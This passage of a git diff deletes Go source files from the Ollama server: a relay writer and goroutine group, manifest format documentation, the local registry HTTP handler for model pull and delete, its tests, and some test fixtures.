*Line) Take() *Ticket { - t := &Ticket{ - ahead: q.last, - ch: make(chan struct{}), - } - q.last = t.ch - return t -} - -// RelayReader implements an [io.WriterTo] that yields the passed -// writer to its [WriteTo] method each [io.WriteCloser] taken from [Take], in -// the order they are taken. Each [io.WriteCloser] blocks until the previous -// one is closed, or a call to [RelayReader.CloseWithError] is made. -// -// The zero value is invalid. Use [NewWriteToLine] to get a valid RelayReader. -// -// It is not safe for concurrent use. -type RelayReader struct { - line Line - t *Ticket - w io.Writer - n int64 - - mu sync.Mutex - err error // set by CloseWithError - closedCh chan struct{} // closed if err is set -} - -var ( - _ io.Closer = (*RelayReader)(nil) - _ io.WriterTo = (*RelayReader)(nil) - _ io.Reader = (*RelayReader)(nil) -) - -func NewRelayReader() *RelayReader { - var q RelayReader - q.closedCh = make(chan struct{}) - q.t = q.line.Take() - return &q -} - -// CloseWithError terminates the line, unblocking any writer waiting for its -// turn with the error, or [io.EOF] if err is nil. It is safe to call -// [CloseWithError] multiple times and across multiple goroutines. -// -// If the line is already closed, [CloseWithError] is a no-op. -// -// It never returns an error. -func (q *RelayReader) CloseWithError(err error) error { - q.mu.Lock() - defer q.mu.Unlock() - if q.err == nil { - q.err = cmp.Or(q.err, err, io.EOF) - close(q.closedCh) - } - return nil -} - -// Close closes the line. Any writer waiting for its turn will be unblocked -// with an [io.ErrClosedPipe] error. -// -// It never returns an error. -func (q *RelayReader) Close() error { - return q.CloseWithError(nil) -} - -func (q *RelayReader) closed() <-chan struct{} { - q.mu.Lock() - defer q.mu.Unlock() - return q.closedCh -} - -func (q *RelayReader) Read(p []byte) (int, error) { - panic("RelayReader.Read is for show only; use WriteTo") -} - -// WriteTo yields the writer w to the first writer in line and blocks until the -// first call to [Close]. -// -// It is safe to call [Take] concurrently with [WriteTo]. -func (q *RelayReader) WriteTo(dst io.Writer) (int64, error) { - select { - case <-q.closed(): - return 0, io.ErrClosedPipe - default: - } - - // We have a destination writer; let the relay begin. - q.w = dst - q.t.Done() - <-q.closed() - return q.n, nil -} - -// Take returns a writer that will be passed to the next writer in line. -// -// It is not safe for use across multiple goroutines. -func (q *RelayReader) Take() io.WriteCloser { - return &relayWriter{q: q, t: q.line.Take()} -} - -type relayWriter struct { - q *RelayReader - t *Ticket - ready bool -} - -var _ io.StringWriter = (*relayWriter)(nil) - -// Write writes to the writer passed to [RelayReader.WriteTo] as soon as the -// writer is ready. It returns io.ErrClosedPipe if the line is closed before -// the writer is ready. -func (w *relayWriter) Write(p []byte) (int, error) { - if !w.awaitTurn() { - return 0, w.q.err - } - n, err := w.q.w.Write(p) - w.q.n += int64(n) - return n, err -} - -func (w *relayWriter) WriteString(s string) (int, error) { - if !w.awaitTurn() { - return 0, w.q.err - } - return io.WriteString(w.q.w, s) -} - -// Close signals that the writer is done, unblocking the next writer in line. -func (w *relayWriter) Close() error { - w.t.Done() - return nil -} - -func (t *relayWriter) awaitTurn() (ok bool) { - if t.ready { - return true - } - select { - case <-t.t.Ready(): - t.ready = true - return true - case <-t.q.closed(): - return false - } -} diff --git a/server/internal/internal/syncs/line_test.go b/server/internal/internal/syncs/line_test.go deleted file mode 100644 index 50256bec2..000000000 --- a/server/internal/internal/syncs/line_test.go +++ /dev/null @@ -1,65 +0,0 @@ -package syncs - -import ( - "bytes" - "io" - "math/rand/v2" - "testing" - "testing/synctest" -) - -func TestPipelineReadWriterTo(t *testing.T) { - for range 10 { - synctest.Test(t, func(t *testing.T) { - q := NewRelayReader() - - tickets := []struct { - io.WriteCloser - s string - }{ - {q.Take(), "you"}, - {q.Take(), " say hi,"}, - {q.Take(), " and "}, - {q.Take(), "I say "}, - {q.Take(), "hello"}, - } - - rand.Shuffle(len(tickets), func(i, j int) { - tickets[i], tickets[j] = tickets[j], tickets[i] - }) - - var g Group - for i, t := range tickets { - g.Go(func() { - defer t.Close() - if i%2 == 0 { - // Use [relayWriter.WriteString] - io.WriteString(t.WriteCloser, t.s) - } else { - t.Write([]byte(t.s)) - } - }) - } - - var got bytes.Buffer - var copyErr error // checked at end - g.Go(func() { - _, copyErr = io.Copy(&got, q) - }) - - synctest.Wait() - - q.Close() - g.Wait() - - if copyErr != nil { - t.Fatal(copyErr) - } - - want := "you say hi, and I say hello" - if got.String() != want { - t.Fatalf("got %q, want %q", got.String(), want) - } - }) - } -} diff --git a/server/internal/internal/syncs/syncs.go b/server/internal/internal/syncs/syncs.go deleted file mode 100644 index 8f1b1e078..000000000 --- a/server/internal/internal/syncs/syncs.go +++ /dev/null @@ -1,41 +0,0 @@ -package syncs - -import ( - "sync" - "sync/atomic" -) - -// Group is a [sync.WaitGroup] with a Go method. -type Group struct { - wg sync.WaitGroup - n atomic.Int64 -} - -func (g *Group) Go(f func()) { - g.wg.Add(1) - go func() { - g.n.Add(1) // Now we are running - defer func() { - g.wg.Done() - g.n.Add(-1) // Now we are done - }() - f() - }() -} - -// Running returns the number of goroutines that are currently running. -// -// If a call to [Running] returns zero, and a call to [Wait] is made without -// any calls to [Go], then [Wait] will return immediately. This is true even if -// a goroutine is started and finishes between the two calls. -// -// It is possible for [Running] to return non-zero and for [Wait] to return -// immediately. This can happen if the all running goroutines finish between -// the two calls. -func (g *Group) Running() int64 { - return g.n.Load() -} - -func (g *Group) Wait() { - g.wg.Wait() -} diff --git a/server/internal/manifest/manifest.go b/server/internal/manifest/manifest.go deleted file mode 100644 index 07c710010..000000000 --- a/server/internal/manifest/manifest.go +++ /dev/null @@ -1,116 +0,0 @@ -// Package manifest provides documentation for the Ollama manifest format. -// This package contains no code. -// -// # Manifests -// -// A manifest is a JSON object that describes a model. The JSON object has a -// single field "layers" which is a list of layers that make up the model. -// A layer is a single, logical unit of a model. Layers are stored in the cache -// as files with the name of the digest of the layer. Layers are pushed and -// pulled from the registry as blobs. -// -// A layer is represented as a JSON object with the following fields: -// -// - "digest": The digest of the layer. -// - "mediaType": The media type of the layer. -// - "size": The size of the layer in bytes. -// -// Layers are typically stored in a blob store, such as a registry, and are -// referenced by their digest. This package does not define how layers are -// stored or retrieved. -// -// # Configuration Layer -// -// The configuration of a model is represented as a layer with the media type: -// -// application/vnd.ollama.image.config; type= -// -// The "type" parameter in the media type specifies the format of the -// configuration (e.g., "safetensor" or "gguf"). -// -// There may be only one configuration layer in a model. -// -// # Template Layer -// -// The model template is a layer with the media type: -// -// application/vnd.ollama.image.template; [name=] -// -// The "name" parameter in the media type specifies the name of the template as -// for lookup at runtime. The name is optional and may be omitted. If omitted, -// the template is the default template for the model. -// -// # Tensor Layers -// -// The tensors of a model are represented as layers with the media type: -// -// application/vnd.ollama.image.tensor; name=; dtype=; shape= -// -// The "name" parameter in the media type specifies the name of the tensor as -// defined in the model's configuration and are bound only by the rules for -// names as defined in the configuration format, as represented by the -// configuration's "type". -// -// The "dtype" parameter in the media type specifies the data type of the tensor -// as a string. -// -// TODO: Define more specifically how to represent data types as strings. -// -// The "shape" parameter in the media type specifies the shape of the tensor as -// a comma-separated list of integers; one per dimension. -// -// # Tokenization Layers -// -// The tokenization of a model is represented as a layer with the media type: -// -// application/vnd.ollama.image.tokenizer -// -// The configuration of the tokenizer is represented as a layer with the media type: -// -// application/vnd.ollama.image.tokenizer.config -// -// # Miscellaneous Layers -// -// These extra layer mime types are reserved: -// -// application/vnd.ollama.image.license -// -// This layer contains one of the many licenses for the model in plain text. -// -// # Example Manifest -// -// The following is an example manifest containing a configuration, a model -// template, and two tensors (digests shortened for brevity): -// -// { -// "layers": [{ -// "digest": "sha256:a...", -// "mediaType": "application/vnd.ollama.image.config; type=safetensors", -// "size": 1234 -// },{ -// "digest": "sha256:b...", -// "mediaType": "application/vnd.ollama.image.template", -// "size": 5678 -// },{ -// "digest": "sha256:c...", -// "mediaType": "application/vnd.ollama.image.tensor; name=input; dtype=F32; shape=1,2,3", -// "size": 9012 -// },{ -// "digest": "sha256:d...", -// "mediaType": "application/vnd.ollama.image.tensor; name=output; dtype=I32; shape=4,5,6", -// "size": 3456 -// }] -// } -// -// # Legacy Media Types -// -// The appliaction/vnd.ollama.image.model media type is deprecated, but will -// remain supported for backwards compatibility, for some undefined amount of -// time. New models should use the media types defined above. -// -// # Reserved media types -// -// The media type prefix "application/vnd.ollama.image." is reserved for -// defining new media types for layers known to Ollama. Currently, all other -// prefixes are ignored by official Ollama registry clients. -package manifest diff --git a/server/internal/registry/server.go b/server/internal/registry/server.go deleted file mode 100644 index f62a622a9..000000000 --- a/server/internal/registry/server.go +++ /dev/null @@ -1,417 +0,0 @@ -// Package registry implements an http.Handler for handling local Ollama API -// model management requests. See [Local] for details. -package registry - -import ( - "cmp" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "log/slog" - "net/http" - "slices" - "strings" - "sync" - "time" - - "github.com/ollama/ollama/server/internal/cache/blob" - "github.com/ollama/ollama/server/internal/client/ollama" - "github.com/ollama/ollama/server/internal/internal/backoff" -) - -// Local implements an http.Handler for handling local Ollama API model -// management requests, such as pushing, pulling, and deleting models. -// -// It can be arranged for all unknown requests to be passed through to a -// fallback handler, if one is provided. -type Local struct { - Client *ollama.Registry // required - Logger *slog.Logger // required - - // Fallback, if set, is used to handle requests that are not handled by - // this handler. - Fallback http.Handler - - // Prune, if set, is called to prune the local disk cache after a model - // is deleted. - Prune func() error // optional -} - -// serverError is like ollama.Error, but with a Status field for the HTTP -// response code. We want to avoid adding that field to ollama.Error because it -// would always be 0 to clients (we don't want to leak the status code in -// errors), and so it would be confusing to have a field that is always 0. -type serverError struct { - Status int `json:"-"` - - // TODO(bmizerany): Decide if we want to keep this and maybe - // bring back later. - Code string `json:"code"` - - Message string `json:"error"` -} - -func (e serverError) Error() string { - return e.Message -} - -// Common API errors -var ( - errMethodNotAllowed = &serverError{405, "method_not_allowed", "method not allowed"} - errNotFound = &serverError{404, "not_found", "not found"} - errModelNotFound = &serverError{404, "not_found", "model not found"} - errInternalError = &serverError{500, "internal_error", "internal server error"} -) - -type statusCodeRecorder struct { - _status int // use status() to get the status code - http.ResponseWriter -} - -func (r *statusCodeRecorder) WriteHeader(status int) { - if r._status == 0 { - r._status = status - r.ResponseWriter.WriteHeader(status) - } -} - -func (r *statusCodeRecorder) Write(b []byte) (int, error) { - r._status = r.status() - return r.ResponseWriter.Write(b) -} - -var ( - _ http.ResponseWriter = (*statusCodeRecorder)(nil) - _ http.CloseNotifier = (*statusCodeRecorder)(nil) - _ http.Flusher = (*statusCodeRecorder)(nil) -) - -// CloseNotify implements the http.CloseNotifier interface, for Gin. Remove with Gin. -// -// It panics if the underlying ResponseWriter is not a CloseNotifier. -func (r *statusCodeRecorder) CloseNotify() <-chan bool { - return r.ResponseWriter.(http.CloseNotifier).CloseNotify() -} - -// Flush implements the http.Flusher interface, for Gin. Remove with Gin. -// -// It panics if the underlying ResponseWriter is not a Flusher. -func (r *statusCodeRecorder) Flush() { - r.ResponseWriter.(http.Flusher).Flush() -} - -func (r *statusCodeRecorder) status() int { - return cmp.Or(r._status, 200) -} - -func (s *Local) ServeHTTP(w http.ResponseWriter, r *http.Request) { - rec := &statusCodeRecorder{ResponseWriter: w} - s.serveHTTP(rec, r) -} - -func (s *Local) serveHTTP(rec *statusCodeRecorder, r *http.Request) { - var errattr slog.Attr - proxied, err := func() (bool, error) { - switch r.URL.Path { - case "/api/delete": - return false, s.handleDelete(rec, r) - case "/api/pull": - return false, s.handlePull(rec, r) - default: - if s.Fallback != nil { - s.Fallback.ServeHTTP(rec, r) - return true, nil - } - return false, errNotFound - } - }() - if err != nil { - // We always log the error, so fill in the error log attribute - errattr = slog.String("error", err.Error()) - - var e *serverError - switch { - case errors.As(err, &e): - case errors.Is(err, ollama.ErrNameInvalid): - e = &serverError{400, "bad_request", err.Error()} - default: - e = errInternalError - } - - data, err := json.Marshal(e) - if err != nil { - // unreachable - panic(err) - } - rec.Header().Set("Content-Type", "application/json") - rec.WriteHeader(e.Status) - rec.Write(data) - - // fallthrough to log - } - - if !proxied { - // we're only responsible for logging if we handled the request - var level slog.Level - if rec.status() >= 500 { - level = slog.LevelError - } else if rec.status() >= 400 { - level = slog.LevelWarn - } - - s.Logger.LogAttrs(r.Context(), level, "http", - errattr, // report first in line to make it easy to find - - // TODO(bmizerany): Write a test to ensure that we are logging - // all of this correctly. That also goes for the level+error - // logic above. - slog.Int("status", rec.status()), - slog.String("method", r.Method), - slog.String("path", r.URL.Path), - slog.Int64("content-length", r.ContentLength), - slog.String("remote", r.RemoteAddr), - slog.String("proto", r.Proto), - slog.String("query", r.URL.RawQuery), - ) - } -} - -type params struct { - // DeprecatedName is the name of the model to push, pull, or delete, - // but is deprecated. New clients should use [Model] instead. - // - // Use [model()] to get the model name for both old and new API requests. - DeprecatedName string `json:"name"` - - // Model is the name of the model to push, pull, or delete. - // - // Use [model()] to get the model name for both old and new API requests. - Model string `json:"model"` - - // AllowNonTLS is a flag that indicates a client using HTTP - // is doing so, deliberately. - // - // Deprecated: This field is ignored and only present for this - // deprecation message. It should be removed in a future release. - // - // Users can just use http or https+insecure to show intent to - // communicate they want to do insecure things, without awkward and - // confusing flags such as this. - AllowNonTLS bool `json:"insecure"` - - // Stream, if true, will make the server send progress updates in a - // streaming of JSON objects. If false, the server will send a single - // JSON object with the final status as "success", or an error object - // if an error occurred. - // - // Unfortunately, this API was designed to be a bit awkward. Stream is - // defined to default to true if not present, so we need a way to check - // if the client decisively set it to false. So, we use a pointer to a - // bool. Gross. - // - // Use [stream()] to get the correct value for this field. - Stream *bool `json:"stream"` -} - -// model returns the model name for both old and new API requests. -func (p params) model() string { - return cmp.Or(p.Model, p.DeprecatedName) -} - -func (p params) stream() bool { - if p.Stream == nil { - return true - } - return *p.Stream -} - -func (s *Local) handleDelete(_ http.ResponseWriter, r *http.Request) error { - if r.Method != "DELETE" { - return errMethodNotAllowed - } - p, err := decodeUserJSON[*params](r.Body) - if err != nil { - return err - } - ok, err := s.Client.Unlink(p.model()) - if err != nil { - return err - } - if !ok { - return errModelNotFound - } - if s.Prune != nil { - return s.Prune() - } - return nil -} - -type progressUpdateJSON struct { - Error string `json:"error,omitempty,omitzero"` - Status string `json:"status,omitempty,omitzero"` - Digest blob.Digest `json:"digest,omitempty,omitzero"` - Total int64 `json:"total,omitempty,omitzero"` - Completed int64 `json:"completed,omitempty,omitzero"` -} - -func (s *Local) handlePull(w http.ResponseWriter, r *http.Request) error { - if r.Method != "POST" { - return errMethodNotAllowed - } - - p, err := decodeUserJSON[*params](r.Body) - if err != nil { - return err - } - - enc := json.NewEncoder(w) - if !p.stream() { - if err := s.Client.Pull(r.Context(), p.model()); err != nil { - if errors.Is(err, ollama.ErrModelNotFound) { - return errModelNotFound - } - return err - } - enc.Encode(progressUpdateJSON{Status: "success"}) - return nil - } - - var mu sync.Mutex - var progress []progressUpdateJSON - flushProgress := func() { - mu.Lock() - progress := slices.Clone(progress) // make a copy and release lock before encoding to the wire - mu.Unlock() - for _, p := range progress { - enc.Encode(p) - } - fl, _ := w.(http.Flusher) - if fl != nil { - fl.Flush() - } - } - - t := time.NewTicker(1<<63 - 1) // "unstarted" timer - start := sync.OnceFunc(func() { - flushProgress() // flush initial state - t.Reset(100 * time.Millisecond) - }) - ctx := ollama.WithTrace(r.Context(), &ollama.Trace{ - Update: func(l *ollama.Layer, n int64, err error) { - if err != nil && !errors.Is(err, ollama.ErrCached) { - s.Logger.Error("pulling", "model", p.model(), "error", err) - return - } - - func() { - mu.Lock() - defer mu.Unlock() - for i, p := range progress { - if p.Digest == l.Digest { - progress[i].Completed = n - return - } - } - progress = append(progress, progressUpdateJSON{ - Digest: l.Digest, - Total: l.Size, - }) - }() - - // Block flushing progress updates until every - // layer is accounted for. Clients depend on a - // complete model size to calculate progress - // correctly; if they use an incomplete total, - // progress indicators would erratically jump - // as new layers are registered. - start() - }, - }) - - done := make(chan error, 1) - go func() (err error) { - defer func() { done <- err }() - for _, err := range backoff.Loop(ctx, 3*time.Second) { - if err != nil { - return err - } - err := s.Client.Pull(ctx, p.model()) - if canRetry(err) { - continue - } - return err - } - return nil - }() - - enc.Encode(progressUpdateJSON{Status: "pulling manifest"}) - for { - select { - case <-t.C: - flushProgress() - case err := <-done: - flushProgress() - if err != nil { - if errors.Is(err, ollama.ErrModelNotFound) { - return &serverError{ - Status: 404, - Code: "not_found", - Message: fmt.Sprintf("model %q not found", p.model()), - } - } else { - return err - } - } - - // Emulate old client pull progress (for now): - enc.Encode(progressUpdateJSON{Status: "verifying sha256 digest"}) - enc.Encode(progressUpdateJSON{Status: "writing manifest"}) - enc.Encode(progressUpdateJSON{Status: "success"}) - return nil - } - } -} - -func decodeUserJSON[T any](r io.Reader) (T, error) { - var v T - err := json.NewDecoder(r).Decode(&v) - if err == nil { - return v, nil - } - var zero T - - // Not sure why, but I can't seem to be able to use: - // - // errors.As(err, &json.UnmarshalTypeError{}) - // - // This is working fine in stdlib, so I'm not sure what rules changed - // and why this no longer works here. So, we do it the verbose way. - var a *json.UnmarshalTypeError - var b *json.SyntaxError - if errors.As(err, &a) || errors.As(err, &b) { - err = &serverError{Status: 400, Message: err.Error(), Code: "bad_request"} - } - if errors.Is(err, io.EOF) { - err = &serverError{Status: 400, Message: "empty request body", Code: "bad_request"} - } - return zero, err -} - -func canRetry(err error) bool { - if err == nil { - return false - } - var oe *ollama.Error - if errors.As(err, &oe) { - return oe.Temporary() - } - s := err.Error() - return cmp.Or( - errors.Is(err, context.DeadlineExceeded), - strings.Contains(s, "unreachable"), - strings.Contains(s, "no route to host"), - strings.Contains(s, "connection reset by peer"), - ) -} diff --git a/server/internal/registry/server_test.go b/server/internal/registry/server_test.go deleted file mode 100644 index 15d8d828a..000000000 --- a/server/internal/registry/server_test.go +++ /dev/null @@ -1,302 +0,0 @@ -package registry - -import ( - "bytes" - "context" - "encoding/json" - "io" - "io/fs" - "net" - "net/http" - "net/http/httptest" - "os" - "regexp" - "strings" - "sync" - "testing" - - "github.com/ollama/ollama/server/internal/cache/blob" - "github.com/ollama/ollama/server/internal/client/ollama" - "github.com/ollama/ollama/server/internal/testutil" - "golang.org/x/tools/txtar" - - _ "embed" -) - -type panicTransport struct{} - -func (t *panicTransport) RoundTrip(r *http.Request) (*http.Response, error) { - panic("unexpected RoundTrip call") -} - -var panicOnRoundTrip = &http.Client{Transport: &panicTransport{}} - -// bytesResetter is an interface for types that can be reset and return a byte -// slice, only. This is to prevent inadvertent use of bytes.Buffer.Read/Write -// etc for the purpose of checking logs. -type bytesResetter interface { - Bytes() []byte - Reset() -} - -func newTestServer(t *testing.T, upstreamRegistry http.HandlerFunc) *Local { - t.Helper() - dir := t.TempDir() - err := os.CopyFS(dir, os.DirFS("testdata/models")) - if err != nil { - t.Fatal(err) - } - c, err := blob.Open(dir) - if err != nil { - t.Fatal(err) - } - - client := panicOnRoundTrip - if upstreamRegistry != nil { - s := httptest.NewTLSServer(upstreamRegistry) - t.Cleanup(s.Close) - tr := s.Client().Transport.(*http.Transport).Clone() - tr.DialContext = func(ctx context.Context, _, _ string) (net.Conn, error) { - var d net.Dialer - return d.DialContext(ctx, "tcp", s.Listener.Addr().String()) - } - client = &http.Client{Transport: tr} - } - - rc := &ollama.Registry{ - Cache: c, - HTTPClient: client, - Mask: "example.com/library/_:latest", - } - - l := &Local{ - Client: rc, - Logger: testutil.Slogger(t), - } - return l -} - -func (s *Local) send(t *testing.T, method, path, body string) *httptest.ResponseRecorder { - t.Helper() - ctx := ollama.WithTrace(t.Context(), &ollama.Trace{ - Update: func(l *ollama.Layer, n int64, err error) { - t.Logf("update: %s %d %v", l.Digest, n, err) - }, - }) - req := httptest.NewRequestWithContext(ctx, method, path, strings.NewReader(body)) - return s.sendRequest(t, req) -} - -func (s *Local) sendRequest(t *testing.T, req *http.Request) *httptest.ResponseRecorder { - t.Helper() - w := httptest.NewRecorder() - s.ServeHTTP(w, req) - return w -} - -type invalidReader struct{} - -func (r *invalidReader) Read(p []byte) (int, error) { - return 0, os.ErrInvalid -} - -// captureLogs is a helper to capture logs from the server. It returns a -// shallow copy of the server with a new logger and a bytesResetter for the -// logs. -func captureLogs(t *testing.T, s *Local) (*Local, bytesResetter) { - t.Helper() - log, logs := testutil.SlogBuffer() - l := *s // shallow copy - l.Logger = log - return &l, logs -} - -func TestServerDelete(t *testing.T) { - check := testutil.Checker(t) - - s := newTestServer(t, nil) - - _, err := s.Client.ResolveLocal("smol") - check(err) - - got := s.send(t, "DELETE", "/api/delete", `{"model": "smol"}`) - if got.Code != 200 { - t.Fatalf("Code = %d; want 200", got.Code) - } - - _, err = s.Client.ResolveLocal("smol") - if err == nil { - t.Fatal("expected smol to have been deleted") - } - - got = s.send(t, "DELETE", "/api/delete", `!`) - checkErrorResponse(t, got, 400, "bad_request", "invalid character '!' looking for beginning of value") - - got = s.send(t, "GET", "/api/delete", `{"model": "smol"}`) - checkErrorResponse(t, got, 405, "method_not_allowed", "method not allowed") - - got = s.send(t, "DELETE", "/api/delete", ``) - checkErrorResponse(t, got, 400, "bad_request", "empty request body") - - got = s.send(t, "DELETE", "/api/delete", `{"model": "://"}`) - checkErrorResponse(t, got, 400, "bad_request", "invalid or missing name") - - got = s.send(t, "DELETE", "/unknown_path", `{}`) // valid body - checkErrorResponse(t, got, 404, "not_found", "not found") - - s, logs := captureLogs(t, s) - req := httptest.NewRequestWithContext(t.Context(), "DELETE", "/api/delete", &invalidReader{}) - got = s.sendRequest(t, req) - checkErrorResponse(t, got, 500, "internal_error", "internal server error") - ok, err := regexp.Match(`ERROR.*error="invalid argument"`, logs.Bytes()) - check(err) - if !ok { - t.Logf("logs:\n%s", logs) - t.Fatalf("expected log to contain ERROR with invalid argument") - } -} - -//go:embed testdata/registry.txt -var registryTXT []byte - -var registryFS = sync.OnceValue(func() fs.FS { - // Txtar gets hung up on \r\n line endings, so we need to convert them - // to \n when parsing the txtar on Windows. - data := bytes.ReplaceAll(registryTXT, []byte("\r\n"), []byte("\n")) - a := txtar.Parse(data) - fsys, err := txtar.FS(a) - if err != nil { - panic(err) - } - return fsys -}) - -func TestServerPull(t *testing.T) { - modelsHandler := http.FileServerFS(registryFS()) - s := newTestServer(t, func(w http.ResponseWriter, r *http.Request) { - switch r.URL.Path { - case "/v2/library/BOOM/manifests/latest": - w.WriteHeader(999) - io.WriteString(w, `{"error": "boom"}`) - case "/v2/library/unknown/manifests/latest": - w.WriteHeader(404) - io.WriteString(w, `{"errors": [{"code": "MANIFEST_UNKNOWN", "message": "manifest unknown"}]}`) - default: - t.Logf("serving blob: %s", r.URL.Path) - modelsHandler.ServeHTTP(w, r) - } - }) - - checkResponse := func(got *httptest.ResponseRecorder, wantlines string) { - t.Helper() - if got.Code != 200 { - t.Errorf("Code = %d; want 200", got.Code) - } - gotlines := got.Body.String() - if strings.TrimSpace(gotlines) == "" { - gotlines = "" - } - t.Logf("got:\n%s", gotlines) - for want := range strings.Lines(wantlines) { - want = strings.TrimSpace(want) - want, unwanted := strings.CutPrefix(want, "!") - want = strings.TrimSpace(want) - if !unwanted && !strings.Contains(gotlines, want) { - t.Errorf("\t! missing %q in body", want) - } - if unwanted && strings.Contains(gotlines, want) { - t.Errorf("\t! unexpected %q in body", want) - } - } - } - - got := s.send(t, "POST", "/api/pull", `{"model": "smol"}`) - checkResponse(got, ` - {"status":"pulling manifest"} - {"digest":"sha256:68e0ec597aee59d35f8dc44942d7b17d471ade10d3aca07a5bb7177713950312","total":5,"completed":5} - {"status":"verifying sha256 digest"} - {"status":"writing manifest"} - {"status":"success"} - `) - - got = s.send(t, "POST", "/api/pull", `{"model": "unknown"}`) - checkResponse(got, ` - {"code":"not_found","error":"model \"unknown\" not found"} - `) - - got = s.send(t, "DELETE", "/api/pull", `{"model": "smol"}`) - checkErrorResponse(t, got, 405, "method_not_allowed", "method not allowed") - - got = s.send(t, "POST", "/api/pull", `!`) - checkErrorResponse(t, got, 400, "bad_request", "invalid character '!' looking for beginning of value") - - got = s.send(t, "POST", "/api/pull", ``) - checkErrorResponse(t, got, 400, "bad_request", "empty request body") - - got = s.send(t, "POST", "/api/pull", `{"model": "://"}`) - checkResponse(got, ` - {"code":"bad_request","error":"invalid or missing name: \"\""} - `) - - // Non-streaming pulls - got = s.send(t, "POST", "/api/pull", `{"model": "://", "stream": false}`) - checkErrorResponse(t, got, 400, "bad_request", "invalid or missing name") - got = s.send(t, "POST", "/api/pull", `{"model": "smol", "stream": false}`) - checkResponse(got, ` - {"status":"success"} - !digest - !total - !completed - `) - got = s.send(t, "POST", "/api/pull", `{"model": "unknown", "stream": false}`) - checkErrorResponse(t, got, 404, "not_found", "model not found") -} - -func TestServerUnknownPath(t *testing.T) { - s := newTestServer(t, nil) - got := s.send(t, "DELETE", "/api/unknown", `{}`) - checkErrorResponse(t, got, 404, "not_found", "not found") - - var fellback bool - s.Fallback = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - fellback = true - }) - got = s.send(t, "DELETE", "/api/unknown", `{}`) - if !fellback { - t.Fatal("expected Fallback to be called") - } - if got.Code != 200 { - t.Fatalf("Code = %d; want 200", got.Code) - } -} - -func checkErrorResponse(t *testing.T, got *httptest.ResponseRecorder, status int, code, msg string) { - t.Helper() - - var printedBody bool - errorf := func(format string, args ...any) { - t.Helper() - if !printedBody { - t.Logf("BODY:\n%s", got.Body.String()) - printedBody = true - } - t.Errorf(format, args...) - } - - if got.Code != status { - errorf("Code = %d; want %d", got.Code, status) - } - - // unmarshal the error as *ollama.Error (proving *serverError is an *ollama.Error) - var e *ollama.Error - if err := json.Unmarshal(got.Body.Bytes(), &e); err != nil { - errorf("unmarshal error: %v", err) - t.FailNow() - } - if e.Code != code { - errorf("Code = %q; want %q", e.Code, code) - } - if !strings.Contains(e.Message, msg) { - errorf("Message = %q; want to contain %q", e.Message, msg) - } -} diff --git a/server/internal/registry/testdata/models/blobs/sha256-a4e5e156ddec27e286f75328784d7106b60a4eb1d246e950a001a3f944fbda99 b/server/internal/registry/testdata/models/blobs/sha256-a4e5e156ddec27e286f75328784d7106b60a4eb1d246e950a001a3f944fbda99 deleted file mode 100644 index def4dffc7..000000000 Binary files a/server/internal/registry/testdata/models/blobs/sha256-a4e5e156ddec27e286f75328784d7106b60a4eb1d246e950a001a3f944fbda99 and /dev/null differ diff --git a/server/internal/registry/testdata/models/blobs/sha256-ecfb1acfca9c76444d622fcdc3840217bd502124a9d3687d438c19b3cb9c3cb1 b/server/internal/registry/testdata/models/blobs/sha256-ecfb1acfca9c76444d622fcdc3840217bd502124a9d3687d438c19b3cb9c3cb1 deleted file mode 100644 index 62114d060..000000000 --- a/server/internal/registry/testdata/models/blobs/sha256-ecfb1acfca9c76444d622fcdc3840217bd502124a9d3687d438c19b3cb9c3cb1 +++ /dev/null @@ -1 +0,0 @@ -{"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:ca239d7bd8ea90e4a5d2e6bf88f8d74a47b14336e73eb4e18bed4dd325018116","size":267},"layers":[{"mediaType":"application/vnd.ollama.image.model","digest":"sha256:a4e5e156ddec27e286f75328784d7106b60a4eb1d246e950a001a3f944fbda99","size":24}]} \ No newline at end of file diff --git a/server/internal/registry/testdata/models/manifests/example.com/library/smol/latest b/server/internal/registry/testdata/models/manifests/example.com/library/smol/latest deleted file mode 100644 index 62114d060..000000000 --- a/server/internal/registry/testdata/models/manifests/example.com/library/smol/latest +++ /dev/null @@ -1 +0,0 @@ -{"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":"sha256:ca239d7bd8ea90e4a5d2e6bf88f8d74a47b14336e73eb4e18bed4dd325018116","size":267},"layers":[{"mediaType":"application/vnd.ollama.image.model","digest":"sha256:a4e5e156ddec27e286f75328784d7106b60a4eb1d246e950a001a3f944fbda99","size":24}]} \ No newline at end of file diff --git a/server/internal/registry/testdata/registry.txt b/server/internal/registry/testdata/registry.txt deleted file mode 100644 index 2fc363fcb..000000000 --- a/server/internal/registry/testdata/registry.txt +++ /dev/null @@ -1,22 +0,0 @@ --- v2/library/smol/manifests/latest -- -{ - "schemaVersion": 2, - "mediaType": "application/vnd.docker.distribution.manifest.v2+json", - "config": { - "mediaType": "application/vnd.docker.container.image.v1+json", - "digest": "sha256:ca3d163bab055381827226140568f3bef7eaac187cebd76878e0b63e9e442356", - "size": 3 - }, - "layers": [ - { - "mediaType": "application/vnd.ollama.image.model", - "digest": "sha256:68e0ec597aee59d35f8dc44942d7b17d471ade10d3aca07a5bb7177713950312", - "size": 5 - } - ] -} - --- v2/library/smol/blobs/sha256:68e0ec597aee59d35f8dc44942d7b17d471ade10d3aca07a5bb7177713950312 -- -GGUF --- v2/library/smol/blobs/sha256:ca3d163bab055381827226140568f3bef7eaac187cebd76878e0b63e9e442356 -- -{} diff --git a/server/internal/testutil/testutil.go b/server/internal/testutil/testutil.go deleted file mode 100644 index f01df942d..000000000 --- a/server/internal/testutil/testutil.go +++ /dev/null @@ -1,102 +0,0 @@ -package testutil - -import ( - "bytes" - "io" - "log/slog" - "os" - "path/filepath" - "testing" - "time" -) - -// LogWriter returns an [io.Writer] that logs each Write using t.Log. -func LogWriter(t *testing.T) io.Writer { - return testWriter{t} -} - -type testWriter struct{ t *testing.T } - -func (w testWriter) Write(b []byte) (int, error) { - w.t.Logf("%s", b) - return len(b), nil -} - -// Slogger returns a [*slog.Logger] that writes each message -// using t.Log. -func Slogger(t *testing.T) *slog.Logger { - return slog.New(slog.NewTextHandler(LogWriter(t), nil)) -} - -// SlogBuffer returns a [*slog.Logger] that writes each message to out. -func SlogBuffer() (lg *slog.Logger, out *bytes.Buffer) { - var buf bytes.Buffer - lg = 